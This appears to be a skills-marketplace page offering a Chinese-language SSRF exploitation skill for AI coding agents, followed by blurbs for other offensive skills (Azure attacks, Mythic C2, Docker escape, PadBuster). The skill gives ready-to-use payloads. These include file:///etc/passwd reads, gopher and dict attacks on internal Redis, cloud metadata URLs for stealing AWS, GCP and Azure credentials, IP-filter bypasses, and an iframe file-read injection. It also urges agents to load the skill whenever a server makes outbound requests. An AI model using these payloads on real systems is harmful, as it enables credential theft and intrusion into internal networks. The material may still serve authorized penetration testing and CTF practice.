skills/exploit/web-method/ssrf-methodology/SKILL.md
服务端请求伪造(SSRF)的检测与利用方法论。当目标有 URL 获取/预览/导入功能、PDF 生成、Webhook、远程图片加载、RSS 导入时使用。包含 IP 过滤绕过大全、协议利用(file/gopher/dict)、云元数据窃取、内网服务探测。即使参数名看起来无害(如 src、callback、next),只要涉及服务端发起请求的场景都应加载此 skill。
npx skillsauth add wgpsec/AboutSecurity ssrf-methodologyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
参数名线索(高度可疑):
url, uri, path, src, dest, redirect, callback, next, data, reference, site, html, imageUrl, feed, target, proxy, link
功能线索:URL 预览、PDF/图片生成(wkhtmltopdf, puppeteer)、Webhook、远程图片获取、RSS 导入
url=http://127.0.0.1/
url=http://localhost/
url=http://127.0.0.1:PORT/
响应差异判断:内容变化 → 有回显 SSRF | 只有状态码 → 半盲 | 无差异 → 全盲
陷阱:应用可能过滤 127.0.0.1 但放行变体 → 需要绕过(references/ssrf-bypass.md)
url=file:///etc/passwd # 文件读取(最高价值)
url=file:///flag.txt
url=gopher://127.0.0.1:6379/ # 攻击内部 Redis(⚠️ PHP curl 可用, Python requests 不可用)
url=dict://127.0.0.1:6379/info
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP (需 Header)
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Azure (需 Header)
SSRF 入口确认
├─ 有回显? → 直接读内容/探测端口
│ ├─ file:// 可用? → 读取敏感文件(/etc/passwd, /flag.txt, /app/config.py)
│ ├─ 云环境? → 查询元数据获取凭据 → [references/ssrf-bypass.md](references/ssrf-bypass.md)
│ └─ 内网服务? → 探测 Redis/ES/MongoDB → gopher 利用
├─ 半盲/全盲?
│ ├─ 端口扫描 → 状态码/响应时间差异
│ └─ 外带 → DNS 外带 / 延时差异
├─ IP 过滤? → 编码绕过 → [references/ssrf-bypass.md](references/ssrf-bypass.md)
└─ 协议限制? → 检查 HTTP-only vs 全协议
不同实现支持的协议不同,不是所有 SSRF 都支持所有协议:
| 库/环境 | file:// | gopher:// | dict:// | |---------|---------|-----------|---------| | PHP curl | ✅ | ✅ | ✅ | | Python requests | ❌ | ❌ | ❌ | | Python urllib | ✅ | ❌ | ❌ | | Java URLConnection | ✅ | ❌ | ❌ | | Node.js fetch | ❌ | ❌ | ❌ |
IP 短格式绕过:127.1、127.0.1(省略 0)
<iframe src="file:///etc/passwd"> 或 <img src="http://127.0.0.1/">testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能